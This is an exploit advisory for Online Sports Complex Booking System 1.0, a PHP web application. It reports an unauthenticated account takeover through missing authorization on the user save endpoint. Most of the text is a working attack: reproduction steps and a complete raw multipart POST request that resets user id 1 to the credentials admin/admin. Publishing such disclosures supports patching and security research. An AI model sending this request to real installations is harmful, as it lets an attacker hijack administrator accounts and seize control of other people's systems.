Online Sports Complex Booking System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.
b6d49275b162f013d9b412342052fd1d# Exploit Title: Online Sports Complex Booking System - Account Takeover (Unauthenticated)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Description :
Online Sports Complex Booking System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters
# Steps to Reproduce :
1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters.
2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password
======
POST /scbs/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------11619114222641896828949561514
Content-Length: 811
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=user
Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="id"
1
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="firstname"
Adminstrator
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="username"
admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="password"
admin
-----------------------------11619114222641896828949561514
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------11619114222641896828949561514--